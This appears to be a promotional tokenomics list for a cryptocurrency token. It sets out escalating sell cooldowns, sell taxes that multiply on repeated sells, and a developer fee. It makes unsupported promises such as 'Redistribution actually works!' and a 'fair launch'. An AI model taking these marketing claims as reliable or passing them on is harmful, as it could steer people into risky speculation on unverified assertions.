For information:

First sell = wait 1 hour
Second sell = wait 2 hours
Third sell = wait 6 hours
Fourth and others sell = wait 1 day :)

Token Information
1. 1,000,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone! 
5. 0,2% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact 
8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 5-6% developer fee split within the team
